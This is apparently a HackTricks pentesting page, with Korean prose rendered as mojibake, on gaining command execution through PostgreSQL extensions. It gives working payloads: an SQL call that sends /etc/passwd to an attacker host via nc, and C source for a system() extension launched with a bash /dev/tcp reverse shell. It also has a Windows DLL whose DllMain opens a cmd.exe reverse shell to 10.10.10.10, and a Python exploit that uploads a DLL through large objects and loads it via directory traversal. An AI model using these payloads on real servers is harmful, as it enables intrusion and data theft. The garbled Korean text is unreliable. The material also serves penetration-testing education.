RCE with PostgreSQL Extensions
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.
PostgreSQL Extensions
PostgreSQLλ νμ₯μ±μ ν΅μ¬ κΈ°λ₯μΌλ‘ κ°λ°νμ¬, νμ₯μ λ§μΉ λ΄μ₯ κΈ°λ₯μ²λΌ μννκ² ν΅ν©ν μ μμ΅λλ€. μ΄λ¬ν νμ₯μ λ³Έμ§μ μΌλ‘ Cλ‘ μμ±λ λΌμ΄λΈλ¬λ¦¬λ‘, λ°μ΄ν°λ² μ΄μ€μ μΆκ° κΈ°λ₯, μ°μ°μ λλ μ νμ νλΆνκ² ν©λλ€.
8.1 λ²μ λΆν°λ νμ₯ λΌμ΄λΈλ¬λ¦¬μ νΉμ μꡬ μ¬νμ΄ λΆκ³Όλ©λλ€: νΉλ³ν ν€λλ‘ μ»΄νμΌλμ΄μΌ ν©λλ€. κ·Έλ μ§ μμΌλ©΄ PostgreSQLμ μ΄λ₯Ό μ€ννμ§ μμΌλ©°, νΈν κ°λ₯νκ³ μ μ¬μ μΌλ‘ μμ ν νμ₯λ§ μ¬μ©λλλ‘ λ³΄μ₯ν©λλ€.
λν, PostgreSQLμ μ μ©νμ¬ νΌν΄μμκ² νμΌμ μ λ‘λνλ λ°©λ²μ λͺ¨λ₯Έλ€λ©΄ μ΄ κ²μλ¬Όμ μ½μ΄μΌ ν©λλ€. upload files to the victim abusing PostgreSQL you should read this post.
RCE in Linux
μμΈν μ 보λ λ€μμ νμΈνμΈμ: https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/
PostgreSQL 8.1 λ° μ΄μ λ²μ μμ μμ€ν λͺ λ Ήμ μ€ννλ κ²μ λͺ ννκ² λ¬Έμνλμ΄ μμΌλ©° κ°λ¨ν νλ‘μΈμ€μ λλ€. μ΄λ₯Ό μ¬μ©νμ¬: Metasploit module μ¬μ©ν μ μμ΅λλ€.
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
# You can also create functions to open and write files
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;
Write binary file from base64
Postgresμ μ΄μ§ νμΌμ μ°λ €λ©΄ base64λ₯Ό μ¬μ©ν΄μΌ ν μ μμ΅λλ€. μ΄λ μ΄ λ¬Έμ μ λμμ΄ λ κ²μ λλ€:
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
DECLARE
fh int;
s int;
w bytea;
i int;
BEGIN
SELECT open(textout(file)::cstring, 522, 448) INTO fh;
IF fh <= 2 THEN
RETURN 1;
END IF;
SELECT decode(s, 'base64') INTO w;
i := 0;
LOOP
EXIT WHEN i >= octet_length(w);
SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;
IF rs < 0 THEN
RETURN 2;
END IF;
i := i + 1;
END LOOP;
SELECT close(fh) INTO rs;
RETURN 0;
END;
$$ LANGUAGE 'plpgsql';
κ·Έλ¬λ λ λμ λ²μ μμ μλνμ λ λ€μ μ€λ₯κ° νμλμμ΅λλ€:
ERROR: incompatible library β/lib/x86_64-linux-gnu/libc.so.6β: missing magic block
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
μ΄ μ€λ₯λ PostgreSQL λ¬Έμμμ μ€λͺ λμ΄ μμ΅λλ€:
λμ μΌλ‘ λ‘λλ κ°μ²΄ νμΌμ΄ νΈνλμ§ μλ μλ²μ λ‘λλμ§ μλλ‘ PostgreSQLμ νμΌμ μ μ ν λ΄μ©μ΄ ν¬ν¨λ βλ§€μ§ λΈλ‘βμ΄ μλμ§ νμΈν©λλ€. μ΄λ₯Ό ν΅ν΄ μλ²λ PostgreSQLμ λ€λ₯Έ μ£Όμ λ²μ μ©μΌλ‘ μ»΄νμΌλ μ½λμ κ°μ λͺ λ°±ν λΉνΈνμ±μ κ°μ§ν μ μμ΅λλ€. λ§€μ§ λΈλ‘μ PostgreSQL 8.2λΆν° νμν©λλ€. λ§€μ§ λΈλ‘μ ν¬ν¨νλ €λ©΄, ν€λ fmgr.hλ₯Ό ν¬ν¨ν ν λͺ¨λ μμ€ νμΌ μ€ νλ(κ·Έλ¦¬κ³ λ¨ νλ)μ λ€μμ μμ±νμμμ€:
#ifdef PG_MODULE_MAGICPG_MODULE_MAGIC;#endif
PostgreSQL 8.2 λ²μ μ΄νλ‘ κ³΅κ²©μκ° μμ€ν μ μ μ©νλ κ³Όμ μ΄ λ μ΄λ €μμ‘μ΅λλ€. 곡격μλ μμ€ν μ μ΄λ―Έ μ‘΄μ¬νλ λΌμ΄λΈλ¬λ¦¬λ₯Ό μ¬μ©νκ±°λ μ¬μ©μ μ μ λΌμ΄λΈλ¬λ¦¬λ₯Ό μ λ‘λν΄μΌ ν©λλ€. μ΄ μ¬μ©μ μ μ λΌμ΄λΈλ¬λ¦¬λ νΈνλλ PostgreSQLμ μ£Όμ λ²μ μ λν΄ μ»΄νμΌλμ΄μΌ νλ©° νΉμ βλ§€μ§ λΈλ‘βμ ν¬ν¨ν΄μΌ ν©λλ€. μ΄ μ‘°μΉλ PostgreSQL μμ€ν μ μ μ©νλ λμ΄λλ₯Ό ν¬κ² μ¦κ°μν€λ©°, μμ€ν μ μν€ν μ²μ λ²μ νΈνμ±μ λν λ κΉμ μ΄ν΄λ₯Ό νμλ‘ ν©λλ€.
λΌμ΄λΈλ¬λ¦¬ μ»΄νμΌ
λ€μ λͺ λ Ήμ΄λ‘ PostgreSQL λ²μ μ κ°μ Έμ΅λλ€:
SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
νΈνμ±μ μν΄ μ£Όμ λ²μ μ΄ μΌμΉνλ κ²μ΄ νμμ μ λλ€. λ°λΌμ 9.6.x μλ¦¬μ¦ λ΄μ μ΄λ€ λ²μ μΌλ‘ λΌμ΄λΈλ¬λ¦¬λ₯Ό μ»΄νμΌνλλΌλ μ±κ³΅μ μΈ ν΅ν©μ 보μ₯ν΄μΌ ν©λλ€.
ν΄λΉ λ²μ μ μμ€ν μ μ€μΉνλ €λ©΄:
apt install postgresql postgresql-server-dev-9.6
λΌμ΄λΈλ¬λ¦¬λ₯Ό μ»΄νμΌν©λλ€:
//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
#include "postgres.h"
#include "fmgr.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}
κ·Έλ° λ€μ μ»΄νμΌλ λΌμ΄λΈλ¬λ¦¬λ₯Ό μ λ‘λνκ³ λ€μκ³Ό κ°μ΄ λͺ λ Ήμ μ€νν©λλ€:
CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes
λ€μ λΌμ΄λΈλ¬λ¦¬λ 미리 μ»΄νμΌλ μ¬λ¬ PostgreSQL λ²μ μμ μ°Ύμ μ μμΌλ©°, μ΄ νλ‘μΈμ€λ₯Ό μλνν μ μμ΅λλ€ (PostgreSQL μ κ·Ό κΆνμ΄ μλ κ²½μ°) λ€μκ³Ό ν¨κ»:
Windowsμμ RCE
λ€μ DLLμ μ΄μ§ νμΌμ μ΄λ¦κ³Ό μ€νν νμλ₯Ό μ λ ₯μΌλ‘ λ°μ μ€νν©λλ€:
#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include "utils/builtins.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(pgsql_exec);
/* this function launches the executable passed in as the first parameter
in a FOR loop bound by the second parameter that is also passed*/
Datum
pgsql_exec(PG_FUNCTION_ARGS)
{
/* convert text pointer to C string */
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))
/* retrieve the second argument that is passed to the function (an integer)
that will serve as our counter limit*/
int instances = PG_GETARG_INT32(1);
for (int c = 0; c < instances; c++) {
/*launch the process passed in the first parameter*/
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
}
PG_RETURN_VOID();
}
λ€μ ZIP νμΌμμ μ»΄νμΌλ DLLμ μ°Ύμ μ μμ΅λλ€:
μ΄ DLLμ μ€νν λ°μ΄λ리μ μ€νν νμλ₯Ό μ§μ ν μ μμ΅λλ€. μ΄ μμ μμλ calc.exeλ₯Ό 2λ² μ€νν©λλ€:
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);
μ¬κΈ° μμ μ΄ λ¦¬λ²μ€ μ Έμ μ°Ύμ μ μμ΅λλ€:
#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"
#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <winsock2.h>
#pragma comment(lib,"ws2_32")
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
#pragma warning(push)
#pragma warning(disable: 4996)
#define _WINSOCK_DEPRECATED_NO_WARNINGS
BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved)
{
WSADATA wsaData;
SOCKET wsock;
struct sockaddr_in server;
char ip_addr[16];
STARTUPINFOA startupinfo;
PROCESS_INFORMATION processinfo;
char *program = "cmd.exe";
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);
WSAStartup(MAKEWORD(2, 2), &wsaData);
wsock = WSASocket(AF_INET, SOCK_STREAM,
IPPROTO_TCP, NULL, 0, 0);
struct hostent *host;
host = gethostbyname(ip);
strcpy_s(ip_addr, sizeof(ip_addr),
inet_ntoa(*((struct in_addr *)host->h_addr)));
server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr(ip_addr);
WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
NULL, NULL, NULL, NULL);
memset(&startupinfo, 0, sizeof(startupinfo));
startupinfo.cb = sizeof(startupinfo);
startupinfo.dwFlags = STARTF_USESTDHANDLES;
startupinfo.hStdInput = startupinfo.hStdOutput =
startupinfo.hStdError = (HANDLE)wsock;
CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
NULL, NULL, &startupinfo, &processinfo);
return TRUE;
}
#pragma warning(pop) /* re-enable 4996 */
/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(add_one);
Datum dummy_function(PG_FUNCTION_ARGS)
{
int32 arg = PG_GETARG_INT32(0);
PG_RETURN_INT32(arg + 1);
}
μ΄ κ²½μ° μ μ± μ½λλ DllMain ν¨μ μμ μμ΅λλ€. μ΄λ μ΄ κ²½μ° postgresqlμμ λ‘λλ ν¨μλ₯Ό μ€νν νμκ° μμΌλ©°, λ¨μ§ DLLμ λ‘λνλ κ²λ§μΌλ‘ 리λ²μ€ μ Έμ΄ μ€νλ©λλ€:
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
PolyUDF νλ‘μ νΈλ μ 체 MS Visual Studio νλ‘μ νΈμ μ¬μ© μ€λΉκ° μλ£λ λΌμ΄λΈλ¬λ¦¬(command eval, exec λ° cleanup ν¬ν¨)μ λ€μ€ λ²μ μ§μμ μ 곡νλ μ’μ μΆλ°μ μ λλ€.
μ΅μ PostgreSQL λ²μ μμμ RCE
μ΅μ λ²μ μ PostgreSQLμμλ superuserκ° νΉμ λλ ν 리(μ: Windowsμ C:\Program Files\PostgreSQL\11\lib λλ *nix μμ€ν
μ /var/lib/postgresql/11/lib)μμλ§ κ³΅μ λΌμ΄λΈλ¬λ¦¬ νμΌμ λ‘λνλ κ²μ΄ κΈμ§λμμ΅λλ€. μ΄λ¬ν λλ ν 리λ NETWORK_SERVICE λλ postgres κ³μ μ μν΄ μ°κΈ° μμ
μ΄ λ³΄νΈλ©λλ€.
μ΄λ¬ν μ νμλ λΆκ΅¬νκ³ μΈμ¦λ λ°μ΄ν°λ² μ΄μ€ superuserλ βλμ©λ κ°μ²΄βλ₯Ό μ¬μ©νμ¬ νμΌ μμ€ν
μ λ°μ΄λ리 νμΌμ μ°λ κ²μ΄ κ°λ₯ν©λλ€. μ΄ κΈ°λ₯μ λ°μ΄ν°λ² μ΄μ€ μμ
(μ: ν
μ΄λΈ μ
λ°μ΄νΈ λλ μμ±)μ νμμ μΈ C:\Program Files\PostgreSQL\11\data λλ ν 리 λ΄μμμ μ°κΈ°λ₯Ό ν¬ν¨ν©λλ€.
μ€μν μ·¨μ½μ μ CREATE FUNCTION λͺ
λ Ήμμ λ°μνλ©°, μ΄λ λ°μ΄ν° λλ ν 리λ‘μ λλ ν 리 νμμ νμ©ν©λλ€. λ°λΌμ μΈμ¦λ 곡격μλ μ΄ νμμ μ
μ©νμ¬ λ°μ΄ν° λλ ν 리μ 곡μ λΌμ΄λΈλ¬λ¦¬ νμΌμ μ°κ³ μ΄λ₯Ό λ‘λν μ μμ΅λλ€. μ΄ μ
μ©μ 곡격μκ° μμμ μ½λλ₯Ό μ€νν μ μκ² νμ¬ μμ€ν
μμ λ€μ΄ν°λΈ μ½λ μ€νμ λ¬μ±νκ² ν©λλ€.
곡격 νλ¦
μ°μ λμ©λ κ°μ²΄λ₯Ό μ¬μ©νμ¬ dllμ μ λ‘λν΄μΌ ν©λλ€. μ΄λ₯Ό μννλ λ°©λ²μ λ€μμμ νμΈν μ μμ΅λλ€:
Big Binary Files Upload (PostgreSQL)
λ°μ΄ν° λλ ν 리μ νμ₯μ(poc.dll μ΄λ¦μΌλ‘ μ΄ μμ μμ)λ₯Ό μ λ‘λν νμλ λ€μκ³Ό κ°μ΄ λ‘λν μ μμ΅λλ€:
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);
λ€μκ³Ό κ°μ΄ .dll νμ₯μλ₯Ό μΆκ°ν νμκ° μμΌλ©°, create functionμ΄ μ΄λ₯Ό μΆκ°ν©λλ€.
μμΈν λ΄μ©μ μλ³Έ κ²μλ¬Όμ μ¬κΈ°μμ μ½μ΄λ³΄μΈμ.
ν΄λΉ κ²μλ¬Όμμλ postgres νμ₯μ μμ±νλ λ° μ¬μ©λ μ½λ (postgres νμ₯μ μ»΄νμΌνλ λ°©λ²μ λ°°μ°λ €λ©΄ μ΄μ λ²μ μ€ νλλ₯Ό μ½μ΄λ³΄μΈμ)κ° μ 곡λμμ΅λλ€.
κ°μ νμ΄μ§μμ μ΄ κΈ°μ μ μλννλ μ΅μ€νλ‘μμ΄ μ 곡λμμ΅λλ€:
#!/usr/bin/env python3
import sys
if len(sys.argv) != 4:
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
sys.exit(1)
host = sys.argv[1]
port = int(sys.argv[2])
lib = sys.argv[3]
with open(lib, "rb") as dll:
d = dll.read()
sql = "select lo_import('C:/Windows/win.ini', 1337);"
for i in range(0, len(d)//2048):
start = i * 2048
end = (i+1) * 2048
if i == 0:
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
else:
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d) % 2048) != 0:
end = (i+1) * 2048
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())
sql += "select lo_export(1337, 'poc.dll');"
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
sql += "select connect_back('%s', %d);" % (host, port)
print("(+) building poc.sql file")
with open("poc.sql", "w") as sqlfile:
sqlfile.write(sql)
print("(+) run poc.sql in PostgreSQL using the superuser")
print("(+) for a db cleanup only, run the following sql:")
print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print(" drop function connect_back(text, integer);")
References
- https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/
- https://www.exploit-db.com/papers/13084
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.


